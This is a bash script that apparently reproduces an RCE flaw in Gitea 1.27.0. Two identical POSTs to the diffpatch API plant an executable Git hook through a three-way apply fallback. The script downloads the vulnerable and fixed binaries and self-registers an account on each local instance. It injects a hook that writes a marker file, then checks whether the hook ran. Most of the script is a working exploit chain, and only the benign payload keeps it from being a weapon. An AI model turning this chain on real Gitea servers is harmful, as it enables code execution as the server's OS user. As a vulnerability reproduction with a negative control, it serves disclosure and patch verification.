#!/bin/bash
# =============================================================================
# CVE-2026-60004 / GHSA-rcr6-4jqh-j84m
# Gitea diffpatch Git hook installation -> Remote Code Execution
#
# This script reproduces the vulnerability against the REAL Gitea product,
# delivered through the public REST API endpoint
#   POST /api/v1/repos/{owner}/{repo}/diffpatch
# (services/repository/files/patch.go ApplyDiffPatch).
#
# Mechanism (confirmed against the official Gitea v1.27.0 binary):
#   1. An unauthenticated visitor registers an account via the public
#      /user/sign_up form (open registration is the default).
#   2. With ordinary write access the attacker creates a repository.
#   3. Call #1 to /diffpatch adds an executable file at path
#      `hooks/post-index-change` (clean apply; with `--cached` it only enters
#      the index, so the commit pushed to the repo now tracks that path).
#   4. Call #2 submits the SAME patch again. Because the path already exists
#      in HEAD, git apply hits an add/add collision and the `-3` three-way
#      fallback checks the indexed path out to the working tree. In a BARE
#      clone (vulnerable builds) the repository root IS $GIT_DIR, so the file
#      lands in the live Git hooks directory and `post-index-change` becomes
#      active. Git executes it while writing the index -> arbitrary commands
#      run as the Gitea OS user.
#   5. Fixed in 1.27.1: the temporary clone is no longer bare, so the checked
#      out path is written to a real working tree (not $GIT_DIR/hooks) and the
#      hook is never installed.
#
# The script runs the vulnerable build (v1.27.0) and the fixed build (v1.27.1)
# as a negative control, capturing concrete runtime evidence for both.
# =============================================================================
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/repro"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

cd "$ROOT"

VULN_VERSION="1.27.0"
FIXED_VERSION="1.27.1"
GITEA_DL_BASE="https://dl.gitea.com/gitea"
BIN_DIR="$REPRO_DIR/binaries"
mkdir -p "$BIN_DIR"

log() { echo "[$(date -u +%Y-%m-%dT%H:%M:%SZ)] $*"; }

# ---------------------------------------------------------------------------
# Dependency checks / installs (the clean sandbox may lack some tools)
# ---------------------------------------------------------------------------
need() { command -v "$1" >/dev/null 2>&1 || return 1; }
if ! need curl || ! need jq || ! need python3 || ! need git; then
  log "Installing required tools..."
  if command -v apt-get >/dev/null 2>&1; then
    sudo apt-get update -qq && sudo apt-get install -y -qq curl jq python3 git ca-certificates 2>&1 | tail -2
  else
    log "ERROR: required tools missing and no apt-get"; exit 2
  fi
fi

GIT_VERSION_OK=$(git --version | grep -oE '[0-9]+\.[0-9]+' | head -1 | awk -F. '{if ($1>2 || ($1==2 && $2>=32)) print "yes"; else print "no"}')
log "git version: $(git --version) (>=2.32 for -3 three-way fallback: $GIT_VERSION_OK)"

# ---------------------------------------------------------------------------
# Download the official Gitea binaries (linux-amd64) if not already present.
# ---------------------------------------------------------------------------
download_bin() {
  local ver="$1"
  local bin="$BIN_DIR/gitea-${ver}"
  if [ -x "$bin" ]; then log "Using cached binary gitea-${ver}"; return 0; fi
  log "Downloading official Gitea ${ver} linux-amd64 binary..."
  curl -fsSL -o "$bin" "${GITEA_DL_BASE}/${ver}/gitea-${ver}-linux-amd64"
  chmod +x "$bin"
  log "Downloaded gitea-${ver}: $(wc -c < "$bin") bytes"
}
download_bin "$VULN_VERSION"
download_bin "$FIXED_VERSION"

# Verify the binaries report the expected versions.
log "Binary versions:"
log "  vulnerable: $("$BIN_DIR/gitea-${VULN_VERSION}" --version)"
log "  fixed:      $("$BIN_DIR/gitea-${FIXED_VERSION}" --version)"

# ---------------------------------------------------------------------------
# run_version <version> <port> <label> <marker_path> <marker_content>
# Starts a fresh Gitea instance, performs the unauthenticated->RCE chain,
# and writes per-run evidence. Sets global RESULT_<label> and MARKER_FOUND_<label>.
# ---------------------------------------------------------------------------
run_version() {
  local ver="$1"
  local port="$2"
  local label="$3"
  local marker="$4"
  local mcontent="$5"
  local bin="$BIN_DIR/gitea-${ver}"
  local work="$REPRO_DIR/run_${label}"
  local base="http://127.0.0.1:${port}"

  log "========== RUN ${label} (Gitea ${ver}, port ${port}) =========="
  rm -rf "$work"; mkdir -p "$work"/{data,repos,logs,custom/conf}
  rm -f "$marker" "${marker}.log"

  cat > "$work/custom/conf/app.ini" <<INI
APP_NAME = GiteaRepro
RUN_MODE = prod
RUN_USER = $(whoami)

[server]
HTTP_ADDR = 127.0.0.1
HTTP_PORT = ${port}
PROTOCOL = http
DOMAIN = 127.0.0.1
ROOT_URL = http://127.0.0.1:${port}/
LFS_START_SERVER = false
OFFLINE_MODE = true
SSH_DOMAIN = 127.0.0.1
START_SSH_SERVER = false

[database]
DB_TYPE = sqlite3
PATH = ${work}/data/gitea.db

[security]
INSTALL_LOCK = true
SECRET_KEY = reprosecretkey123456

[service]
DISABLE_REGISTRATION = false
REGISTER_EMAIL_CONFIRM = false
REGISTER_MANUAL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true

[mailer]
ENABLED = false

[log]
MODE = console
LEVEL = Info
ROOT_PATH = ${work}/logs

[repository]
ROOT = ${work}/repos

[other]
SHOW_FOOTER_VERSION = false
INI

  # Start Gitea as the current OS user (the account the hook will execute as).
  (cd "$work" && "$bin" web --config "$work/custom/conf/app.ini") \
    > "$LOGS/gitea_${label}_stdout.log" 2>&1 &
  local pid=$!
  echo "$pid" > "$work/gitea.pid"

  # Healthcheck
  local up=0
  for i in $(seq 1 120); do
    if curl -sf "${base}/api/v1/version" >/dev/null 2>&1; then up=1; break; fi
    if ! kill -0 "$pid" 2>/dev/null; then
      log "ERROR: Gitea ${label} process died during startup"
      tail -30 "$LOGS/gitea_${label}_stdout.log" || true
      break
    fi
    sleep 0.5
  done
  if [ "$up" != 1 ]; then
    log "ERROR: Gitea ${label} did not become healthy"
    tail -40 "$LOGS/gitea_${label}_stdout.log" || true
    kill -9 "$pid" 2>/dev/null || true
    eval "RESULT_${label}=infra_fail"; eval "MARKER_FOUND_${label}=no"
    return 1
  fi
  log "Gitea ${label} healthy: $(curl -s ${base}/api/v1/version)"

  # ---- Step 1: UNAUTHENTICATED registration via the public sign-up form ----
  log "[${label}] Step 1: unauthenticated registration via /user/sign_up"
  local jar="$work/cookies.txt"
  # GET establishes the session cookie (open-registration precondition probe)
  curl -s -c "$jar" "${base}/user/sign_up" -o "$work/signup_page.html"
  local signup_ok=0
  if grep -qi 'name="user_name"' "$work/signup_page.html" && \
     grep -qi 'action="/user/sign_up"' "$work/signup_page.html"; then
    signup_ok=1
    log "[${label}] Open registration form is served (precondition met)"
  fi
  cp "$work/signup_page.html" "$LOGS/${label}_signup_page.html"

  local intruder="intruder_${label}"
  # POST the public registration form (no admin credentials used)
  local reg_http
  reg_http=$(curl -s -o "$work/signup_post.html" -w "%{http_code}" -b "$jar" -c "$jar" \
    -X POST "${base}/user/sign_up" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "user_name=${intruder}" \
    --data-urlencode "email=${intruder}@test.local" \
    --data-urlencode "password=Intrude123!" \
    --data-urlencode "retype=Intrude123!" || true)
  log "[${label}] Registration POST HTTP=${reg_http} (303 redirect = success)"
  echo "registration_http=${reg_http}" > "$LOGS/${label}_registration.txt"

  # Verify the freshly registered account authenticates via the API
  local auth_http
  auth_http=$(curl -s -o "$work/user_me.json" -w "%{http_code}" -u "${intruder}:Intrude123!" "${base}/api/v1/user" || true)
  log "[${label}] API basic-auth as ${intruder}: HTTP=${auth_http} (200 = unauthenticated->account chain succeeded)"
  cp "$work/user_me.json" "$LOGS/${label}_user_me.json" 2>/dev/null || true
  echo "api_auth_http=${auth_http}" >> "$LOGS/${label}_registration.txt"

  local AUTH="${intruder}:Intrude123!"

  # ---- Step 2: create a repository (ordinary write access) ----
  log "[${label}] Step 2: create repository 'exploit-repo' (auto_init -> main branch)"
  curl -sf -X POST "${base}/api/v1/user/repos" -u "$AUTH" -H "Content-Type: application/json" \
    -d '{"name":"exploit-repo","description":"repro","private":false,"auto_init":true,"default_branch":"main"}' \
    -o "$work/create_repo.json" 2>/dev/null || true
  cp "$work/create_repo.json" "$LOGS/${label}_create_repo.json" 2>/dev/null || true
  sleep 1
  local branches
  branches=$(curl -s "${base}/api/v1/repos/${intruder}/exploit-repo/branches" -u "$AUTH" 2>/dev/null | jq -r '.[].name' 2>/dev/null | tr '\n' ',' || echo "")
  log "[${label}] Repo branches: ${branches:-<none>}"

  # ---- Step 3: build the malicious patch (executable post-index-change hook) ----
  python3 - "$work/payload.json" "$marker" "$mcontent" <<'PY'
import json, sys
out, marker, mcontent = sys.argv[1], sys.argv[2], sys.argv[3]
hook_body = "#!/bin/sh\necho '%s' >> '%s'\necho hook_ran_as_user=$(id -un) >> '%s.log'" % (mcontent, marker, marker)
patch = ("diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
         "new file mode 100755\n"
         "index 0000000..1c8b8e0\n"
         "--- /dev/null\n"
         "+++ b/hooks/post-index-change\n"
         "@@ -0,0 +1,2 @@\n")
for line in hook_body.split("\n"):
    patch += "+" + line + "\n"
with open(out, "w") as f:
    json.dump({"content": patch, "branch": "main", "message": "add file"}, f)
open(sys.argv[1] + ".patch.txt", "w").write(patch)
PY
  cp "$work/payload.json.patch.txt" "$LOGS/${label}_patch.txt"
  log "[${label}] Malicious patch written (adds executable hooks/post-index-change)"

  local DP="${base}/api/v1/repos/${intruder}/exploit-repo/diffpatch"

  # ---- Step 4: Call #1 - clean apply (hook path enters the index/commit) ----
  log "[${label}] Step 3: Call #1 to /diffpatch (clean apply of hook file)"
  local h1
  h1=$(curl -s -o "$LOGS/${label}_call1_response.json" -w "%{http_code}" \
    -X POST "$DP" -u "$AUTH" -H "Content-Type: application/json" \
    --data-binary @"$work/payload.json" || true)
  log "[${label}] Call #1 HTTP=${h1}"
  echo "call1_http=${h1}" > "$LOGS/${label}_diffpatch_calls.txt"
  sleep 1

  # ---- Step 5: Call #2 - same patch again (add/add collision -> 3-way fallback) ----
  log "[${label}] Step 4: Call #2 to /diffpatch (SAME patch -> add/add collision -> three-way fallback checkout)"
  local h2
  h2=$(curl -s -o "$LOGS/${label}_call2_response.json" -w "%{http_code}" \
    -X POST "$DP" -u "$AUTH" -H "Content-Type: application/json" \
    --data-binary @"$work/payload.json" || true)
  log "[${label}] Call #2 HTTP=${h2}"
  echo "call2_http=${h2}" >> "$LOGS/${label}_diffpatch_calls.txt"
  sleep 2

  # ---- Step 6: check the RCE marker (written by the hook as the Gitea OS user) ----
  local found=no
  if [ -f "$marker" ]; then
    found=yes
    log "[${label}] *** RCE MARKER FILE CREATED BY GIT HOOK ***"
    log "[${label}] marker content: $(cat "$marker")"
    cp "$marker" "$LOGS/${label}_rce_marker.txt"
    [ -f "${marker}.log" ] && cp "${marker}.log" "$LOGS/${label}_rce_hook.log" || true
  else
    log "[${label}] No RCE marker file present at ${marker}"
  fi
  echo "marker_found=${found}" >> "$LOGS/${label}_diffpatch_calls.txt"

  # Capture which OS user the gitea process (and thus the hook) ran as
  echo "gitea_run_user=$(whoami)" >> "$LOGS/${label}_diffpatch_calls.txt"
  echo "marker_path=${marker}" >> "$LOGS/${label}_diffpatch_calls.txt"

  # Inspect the on-disk repo state for evidence of the planted hook
  if ls "$work/repos/${intruder}/exploit-repo.git/hooks/post-index-change" >/dev/null 2>&1; then
    log "[${label}] NOTE: planted hook file present in bare repo hooks dir"
    echo "hook_in_bare_hooks=yes" >> "$LOGS/${label}_diffpatch_calls.txt"
  else
    echo "hook_in_bare_hooks=no" >> "$LOGS/${label}_diffpatch_calls.txt"
  fi

  eval "RESULT_${label}=${found}"
  eval "MARKER_FOUND_${label}=${found}"
  eval "CALL1_HTTP_${label}=${h1}"
  eval "CALL2_HTTP_${label}=${h2}"
  eval "REG_HTTP_${label}=${reg_http}"
  eval "AUTH_HTTP_${label}=${auth_http}"

  # Stop Gitea
  log "[${label}] Stopping Gitea (pid ${pid})"
  kill "$pid" 2>/dev/null || true
  sleep 1
  kill -9 "$pid" 2>/dev/null || true
  wait "$pid" 2>/dev/null || true
  log "========== RUN ${label} complete (marker_found=${found}) =========="
}

VULN_MARKER="/tmp/gitea_rce_marker_v1.27.0"
FIXED_MARKER="/tmp/gitea_rce_marker_v1.27.1"

run_version "$VULN_VERSION" 3000 "vuln" "$VULN_MARKER" "RCE_v1.27.0_CONFIRMED"
run_version "$FIXED_VERSION" 3001 "fixed" "$FIXED_MARKER" "RCE_v1.27.1_CONFIRMED"

# ---------------------------------------------------------------------------
# Verdict synthesis
# ---------------------------------------------------------------------------
VULN_FOUND="${MARKER_FOUND_vuln:-no}"
FIXED_FOUND="${MARKER_FOUND_fixed:-no}"
log "==================== VERDICT ===================="
log "Vulnerable (v1.27.0) RCE marker found : ${VULN_FOUND}"
log "Fixed      (v1.27.1) RCE marker found : ${FIXED_FOUND}"
log "Vulnerable Call#1 HTTP: ${CALL1_HTTP_vuln:-?}, Call#2 HTTP: ${CALL2_HTTP_vuln:-?}"
log "Fixed      Call#1 HTTP: ${CALL1_HTTP_fixed:-?}, Call#2 HTTP: ${CALL2_HTTP_fixed:-?}"
log "Registration HTTP (vuln): ${REG_HTTP_vuln:-?}, API auth HTTP: ${AUTH_HTTP_vuln:-?}"

CONFIRMED=no
if [ "$VULN_FOUND" = "yes" ] && [ "$FIXED_FOUND" = "no" ]; then
  CONFIRMED=yes
  log ">>> CLAIM CONFIRMED: vulnerable build executes the planted Git hook (RCE); fixed build does not."
elif [ "$VULN_FOUND" = "yes" ]; then
  log ">>> WARNING: marker also present on fixed build; negative control did not isolate."
else
  log ">>> NOT CONFIRMED: no RCE marker on vulnerable build."
fi

# ---------------------------------------------------------------------------
# Runtime manifest (strict JSON via python)
# ---------------------------------------------------------------------------
python3 - "$REPRO_DIR/runtime_manifest.json" "$CONFIRMED" "$VULN_FOUND" "$FIXED_FOUND" \
  "${CALL1_HTTP_vuln:-?}" "${CALL2_HTTP_vuln:-?}" "${CALL1_HTTP_fixed:-?}" "${CALL2_HTTP_fixed:-?}" \
  "${REG_HTTP_vuln:-?}" "${AUTH_HTTP_vuln:-?}" <<'PY'
import json, sys
out = sys.argv[1]
(confirmed, vuln_found, fixed_found, c1v, c2v, c1f, c2f, reg, auth) = sys.argv[2:11]
artifacts = [
  "logs/repro/gitea_vuln_stdout.log",
  "logs/repro/gitea_fixed_stdout.log",
  "logs/repro/vuln_call1_response.json",
  "logs/repro/vuln_call2_response.json",
  "logs/repro/fixed_call1_response.json",
  "logs/repro/fixed_call2_response.json",
  "logs/repro/vuln_diffpatch_calls.txt",
  "logs/repro/fixed_diffpatch_calls.txt",
  "logs/repro/vuln_registration.txt",
  "logs/repro/vuln_patch.txt",
]
if vuln_found == "yes":
    artifacts += ["logs/repro/vuln_rce_marker.txt"]
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/v1/repos/{owner}/{repo}/diffpatch (services/repository/files/patch.go ApplyDiffPatch)",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["gitea-1.27.0-binary", "sqlite3", "git"],
  "proof_artifacts": artifacts,
  "notes": ("RCE confirmed on vulnerable v1.27.0: unauthenticated registration -> repo create -> "
            "two /diffpatch calls plant and trigger hooks/post-index-change; hook executed as the "
            "Gitea OS user and wrote the RCE marker. Fixed v1.27.1 negative control: no marker. "
            "confirmed=%s vuln_marker=%s fixed_marker=%s call1_vuln=%s call2_vuln=%s call1_fixed=%s call2_fixed=%s reg=%s auth=%s"
            % (confirmed, vuln_found, fixed_found, c1v, c2v, c1f, c2f, reg, auth))
}
with open(out, "w") as f:
    json.dump(manifest, f, indent=2)
print("wrote", out)
PY

log "Runtime manifest written to $REPRO_DIR/runtime_manifest.json"
cat "$REPRO_DIR/runtime_manifest.json"

if [ "$CONFIRMED" = "yes" ]; then
  log "Reproduction SUCCESSFUL (exit 0)"
  exit 0
else
  log "Reproduction did NOT confirm the claim (exit 1)"
  exit 1
fi
